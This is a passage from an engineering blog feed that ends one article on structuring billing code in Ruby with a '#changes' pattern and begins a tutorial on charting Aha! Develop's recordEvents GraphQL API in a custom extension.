&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Billing Sub Periods are contained inside a Billing Bundle to represent the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # state of products an account might have at a given time.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every other piece of our system related to billing can be declared as instances of these classes. I watched the light flip on in their eyes. What I had missed in my earlier presentation about these classes was an adequate dive into the parts of our system that made them necessary. Maybe the most expedient way wasn&apos;t a presentation at all. It was to let teammates get into the work and introduce the new classes the moment they were needed. These may not be independently discoverable, which is a helpful indication of how we could structure our code better.&lt;/p&gt;
&lt;h4&gt;Refine&lt;/h4&gt;
&lt;p&gt;The classes you build, the names you choose, and the logical patterns you employ are all necessary tools to scaffold your understanding. These are tools to help you on your journey but they are not the point of it. We must lean on these to gain deeper access and understanding. Consider all the alternatives and ensure you have the internal space to reflect.&lt;/p&gt;
&lt;p&gt;Andrew suggested I approach the &quot;transition rankings&quot; of our plans differently. That argument I insisted must be required? Well, maybe it wasn&apos;t. Tweak by tweak, test by test, the logic gained flexibility, ease, and life.&lt;/p&gt;
&lt;p&gt;This is the critical moment to listen. When you embrace the richness and detail of what the world tells you, when you choose to prioritize curiosity over behaviors of ego or insecurity, that is when it gets incredibly fun. And when your whole team does this together, you will really get moving.&lt;/p&gt;
&lt;h4&gt;Cherish the unfolding&lt;/h4&gt;
&lt;p&gt;Once teammates started using the classes, a bevy of improvements I couldn&apos;t have anticipated started making their way in. Convenient defaults. Better names. Here&apos;s one I absolutely loved:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Billing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SubPeriod&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; change&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;fields)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      SubPeriod&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        plan:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:plan&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @plan),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        duration:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:duration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @duration),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        seats:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:seats&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @seats),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        state:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:state&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @state),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        price_level:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:price_level&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @price_level),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        discount:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; fields.fetch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:discount&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, @discount)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SubPeriod#change&lt;/code&gt; returns a new instance of a sub period. In many places we are going from some existing account state to some slightly different version of it. This method makes the behavior of the code clear and obvious because you immediately understand the origin of each property in the new sub period.&lt;/p&gt;
&lt;p&gt;Sometimes you&apos;ll get wonderful instance methods. Sometimes, if you&apos;re lucky, you&apos;ll get a pattern so powerful and well-applied you&apos;ll reforge the rest of the code in your domain in its shape.&lt;/p&gt;
&lt;h4&gt;The way of &quot;#changes&quot;&lt;/h4&gt;
&lt;p&gt;The pattern I&apos;m about to describe saved us. Weeks before going live, scope changes came down the line. Between PM and engineering we realized, functionally, we will need to compute and update accounts at many more points in time than simply the ones we&apos;d been targeting. We now had a deeper understanding of the various path dependencies. For one example, if account XYZ isn&apos;t updated at point B, then the system won&apos;t function properly at point C.&lt;/p&gt;
&lt;p&gt;Increasing prices meant our internal system would now determine what a given product would cost and not plan information stored in the billing provider. Although the billing provider would actually charge and collect, our internal tooling now needed to become the control plane to cause this. To provide accurate prices to customers and the billing provider alike, our system needed to be able to run hypotheticals. We needed an extensive test surface and number of dry runs on this new behavior. That&apos;s when a beautiful pattern and language emerged that the rest of our code has since adopted:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Gather your inputs.&lt;/li&gt;
&lt;li&gt;Compute your changes.&lt;/li&gt;
&lt;li&gt;Compare those changes with the current state of the system.&lt;/li&gt;
&lt;li&gt;If they&apos;re different, update the system to your desired state.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In our case we compute the price for a given plan based on an account&apos;s &lt;code&gt;price_level&lt;/code&gt;. Price levels increment independently per product.&lt;/p&gt;
&lt;p&gt;We can streamline our inputs to &lt;code&gt;current + pending = incremented&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Current state of the account + Intended state of the account will result in = Resulting state of the account&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The difference between the &lt;code&gt;current&lt;/code&gt; state and the &lt;code&gt;incremented&lt;/code&gt; state should be stored in a &lt;code&gt;#changes&lt;/code&gt; hash containing the old value and the new value per attribute.&lt;/p&gt;
&lt;p&gt;This language sidesteps the naming difficulties chronology can introduce. The names make sense whether you&apos;re talking about recomputing a transition that&apos;s occurred in the past, whether you&apos;re live and about to charge a customer an increased price, or you&apos;re running future hypotheticals while building a quote.&lt;/p&gt;
&lt;p&gt;Storing values inside &lt;code&gt;#changes&lt;/code&gt; facilitates easy testing, enables dry runs in production situations to see what would happen, and ensures a common structure for all the places in your application that need to compute transitions — real or hypothetical.&lt;/p&gt;
&lt;p&gt;All the hallmarks of a good abstraction are present — a simple set of underlying rules that don&apos;t vary and are useful across a wide number of situations. This let us safely and deftly handle some large, last-minute changes to do exactly that.&lt;/p&gt;
&lt;h3&gt;Frame the best shapes&lt;/h3&gt;
&lt;p&gt;Shaping is how the work is defined. Framing is how the work is represented. While your implementation unfolds, certain insights about the whole effort will emerge. You will, as we did with the &lt;code&gt;#changes&lt;/code&gt; pattern, find certain ideas that convey more complex patterns and ideas simply.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Our application is the control plane&quot; — our internal administrative system is responsible for computing the correct price and controlling what value is inside our billing provider.&lt;/li&gt;
&lt;li&gt;&quot;Plan is the source of truth&quot; — the plan instances themselves are the units that contain the highly tested, trustable values as to what prices should be used.&lt;/li&gt;
&lt;li&gt;&quot;Current + pending = next&quot; — (discussed above).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With just these three frames, you can begin to make sense of and understand large portions of the system, or effectively guess where to look next.&lt;/p&gt;
&lt;p&gt;Frame the ideas which define the shape of your system. These are mental affordances to build large amounts of useful context for future developers who will interact with your system.&lt;/p&gt;
&lt;h3&gt;Tune your communication&lt;/h3&gt;
&lt;p&gt;Most importantly a smooth launch requires open and ongoing communication from all teammates. For us this meant a dedicated Slack channel that received our highest level of priority and attention, short of incidents and security issues. We don&apos;t typically do standups, but for this we did. They began weekly and became more frequent as the date approached and our needs grew.&lt;/p&gt;
&lt;p&gt;As the launch date crept nearer, we began feeling unsure that we would deliver on time. We discussed this concern freely and it changed the approaches we were taking. Sometimes nonessential scope was pulled out and moved later. Sometimes newly discovered essential scope was prioritized. We did this as we progressed through the implementation. Our team was honest about the work and our progress.&lt;/p&gt;
&lt;p&gt;The temptation around communication processes is to try and ideate the perfect, unchanging version ahead of time. But when you do that, your process won&apos;t be adapted to your environment, so it will only work well if you&apos;re lucky. The key here is consistently thinking about how you communicate and choosing to change your behavior based on what&apos;s occurred. Simple is best.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Start a free trial today&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;suite of product development tools&lt;/a&gt; work seamlessly together to help teams turn raw concepts into valuable new capabilities — for customers and the business. Set strategy, spark creativity, crowdsource ideas, prioritize features, share roadmaps, manage releases, and plan development. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Creating charts with the Aha! Develop API and extensions]]></title><description><![CDATA[An important aspect of developer tools is being able to visualize work and progress in various ways. A well-known example is the burndown…]]></description><link>https://www.aha.io/engineering/articles/creating-charts-with-the-aha-develop-api</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/creating-charts-with-the-aha-develop-api</guid><dc:creator><![CDATA[Jeremy Wells]]></dc:creator><pubDate>Thu, 12 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;An important aspect of developer tools is being able to visualize work and progress in various ways. A well-known example is the &lt;a href=&quot;https://www.aha.io/blog/visualize-sprint-progress-with-the-new-burndown-chart&quot;&gt;burndown chart&lt;/a&gt; that agile teams use to track their progress through iterations. There are many other standard visualizations, such as &lt;a href=&quot;https://www.aha.io/blog/introducing-the-new-throughput-report-for-kanban-teams&quot;&gt;throughput charts&lt;/a&gt;, which are useful for kanban teams.&lt;/p&gt;
&lt;p&gt;To make Aha! Develop extendable and flexible, we’ve implemented new functionality using our public API and &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extensions-introduction&quot;&gt;extension SDK&lt;/a&gt;. This lets us build the best in-app experience and also support extension developers and customers who wish to query the data themselves.&lt;/p&gt;
&lt;p&gt;Let&apos;s walk through the new record events API that underlies our reports. I&apos;ll demonstrate how to use it to create your own report within a custom Aha! Develop extension to track estimation accuracy. The finished code for this extension is available on &lt;a href=&quot;https://github.com/aha-develop/estimation-accuarcy-example-extension&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/3e1537138bad3e2659fa81a4dc01a263/estimation-accuracy-chart@2x.jpg&quot; alt=&quot;Estimation accuracy chart&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Charting with recordEvents&lt;/h2&gt;
&lt;p&gt;To make a chart, you need to be able to see the changes that happened over time. Aha! Develop keeps a timeline of events and provides a new &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/graphql-api&quot;&gt;GraphQL API&lt;/a&gt; query endpoint called &lt;code&gt;recordEvents&lt;/code&gt; . You can start exploring this API in your own Aha! account, after you are logged in, using the &lt;a href=&quot;https://secure.aha.io/develop/settings/graphql_explorer&quot;&gt;GraphQL explorer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When we looked at the kinds of charts useful to development teams, grouping the data was clearly important. A burndown chart, which looks at changes over a single sprint, might be interested in every single event over the course of the sprint. A velocity chart, showing changes over many sprints, needs to group a limited amount of information by sprint. Processing every single event for a whole year of sprint work wouldn’t be optimal.&lt;/p&gt;
&lt;p&gt;Therefore, underneath the &lt;code&gt;recordEvents&lt;/code&gt; query, you’ll find three subqueries that give different views into the data. These are &lt;code&gt;raw&lt;/code&gt;, &lt;code&gt;grouped&lt;/code&gt; and &lt;code&gt;timeSeries&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;raw&lt;/code&gt;: This is for fetching the raw events. It is useful for querying the events on a particular record or a very limited subset of events.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grouped&lt;/code&gt;: This is for fetching events with a custom grouping. For example, you can elect to group events by iteration by specifying &lt;code&gt;groupBy: ITERATION_ID&lt;/code&gt;. Groups of events are always provided with a &lt;code&gt;count&lt;/code&gt; and the estimation fields are aggregated. The aggregation method can be chosen by an optional argument, defaulting to &lt;code&gt;SUM&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;timeSeries&lt;/code&gt;: Group events by a provided time grouping. The &lt;code&gt;timeGroup&lt;/code&gt; argument can be &lt;code&gt;HOUR&lt;/code&gt;, &lt;code&gt;DAY&lt;/code&gt;, &lt;code&gt;WEEK&lt;/code&gt; or &lt;code&gt;MONTH&lt;/code&gt;. As with the &lt;code&gt;grouped&lt;/code&gt; query, estimation fields are aggregated, and the aggregation can be chosen by an optional argument.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The top level &lt;code&gt;recordEvents&lt;/code&gt; query also has a &lt;code&gt;filters&lt;/code&gt; argument. These filters will be applied to the data in whatever form is requested. For example, if you make an extension that shows a chart you might always apply a &lt;code&gt;teamId&lt;/code&gt; filter to narrow the results down to the currently selected team.&lt;/p&gt;
&lt;p&gt;Filters are optional except in the case that &lt;code&gt;timeSeries&lt;/code&gt; data is selected. A time series always requires a filter by time range:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;recordEvents( &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;filters:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;createdAt:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;gt:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2022-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;lt:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2022-02-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } } )&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you’ll find in the &lt;a href=&quot;https://secure.aha.io/develop/settings/graphql_explorer&quot;&gt;GraphQL explorer&lt;/a&gt;, there are many event types. It’s likely that any chart will only need events for one type or several related types. You can filter by one or more event type using the &lt;code&gt;eventType&lt;/code&gt; filter. This takes a single value or an array.&lt;/p&gt;
&lt;p&gt;You can filter by the event subject record. For example, to get all of the events for a single feature, you might specify &lt;code&gt;filters: { eventSubject: { id: &apos;FEAT-123&apos;, typename: &apos;Feature&apos; } }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You can also filter using &lt;code&gt;assignedToUserId&lt;/code&gt;, &lt;code&gt;epicId&lt;/code&gt;, &lt;code&gt;featureId&lt;/code&gt;, &lt;code&gt;iterationId&lt;/code&gt;, &lt;code&gt;releaseId&lt;/code&gt;, &lt;code&gt;requirementId&lt;/code&gt;, &lt;code&gt;teamId&lt;/code&gt;, &lt;code&gt;teamWorkflowStatusId&lt;/code&gt;. These are powerful filters because they do not filter by just the event subject record, but instead by the references to other records. For example, if we specify &lt;code&gt;filters: { featureId: &apos;FEAT-123&apos; }&lt;/code&gt; then we will get events for that feature and any requirements of the feature.&lt;/p&gt;
&lt;p&gt;An example is querying for events, filtered by team and only including events for when a record is completed or restarted. A completed record has a team status of &lt;strong&gt;Done&lt;/strong&gt;. A restarted record has a team status that changed from a &lt;strong&gt;Done&lt;/strong&gt; status back to an &lt;strong&gt;In progress&lt;/strong&gt; status.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; GetEvents&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  recordEvents&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;teamId&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;TEAM-123&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;eventType&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RECORD_COMPLETED&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; RECORD_RESTARTED&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;    grouped&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;groupBy&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ITERATION_ID&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;      groupByValue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;      originalEstimate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;      eventType&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Building an Estimation Accuracy chart&lt;/h2&gt;
&lt;p&gt;Imagine we have a team whose estimations on some features are way too low in comparison to other features. What they thought was a 2 on their point scale turned out to be a 13 and couldn’t be completed within the current sprint. The team wants to tackle the problem, understand how bad it is, and see the improvement. They need an Estimation Accuracy chart.&lt;/p&gt;
&lt;p&gt;Let’s make an &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extensions-introduction&quot;&gt;extension&lt;/a&gt; using the aha-cli.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; npm install -g aha-cli&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The aha-cli provides several commands for creating, building, and installing extensions. We’ll use the &lt;code&gt;extension:create&lt;/code&gt; command to create a new extension:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha-cli extension:create&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter a human readable name &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your extension: Estimation Accuracy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Who are you&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Your personal or organization GitHub handle is a good identifier: fredwin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Each extension must have a universally unique identifer that is also a valid NPM package name.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Generally&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; good&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; identifier&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; is&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;organization-nam&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;extension-nam&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Enter&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; an&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; identifier:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; fredwin.estimation-accuracy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this stage, the &lt;code&gt;extension:create&lt;/code&gt; command will ask if you want to add a contribution. We’ll create a page &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/view-extension-contributions&quot;&gt;view extension contribution&lt;/a&gt; so we have a whole page in the team navigation for the new chart:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Are you ready to add contributions&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter a human readable title &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your contribution: Estimation Accuracy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter a name &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your contribution: estimationAccuracy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Select a type &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your contribution: view&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter an entry point &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your contribution: src/views/estimationAccuracy.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter the host &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your view: page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Enter a navigation menu location &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; your page: Plan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Add another contribution&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; no&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; cd estimation-accuracy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s add &lt;a href=&quot;https://nivo.rocks/&quot;&gt;Nivo&lt;/a&gt; for charting:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; npm install @nivo/line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And start the extension:&lt;/p&gt;
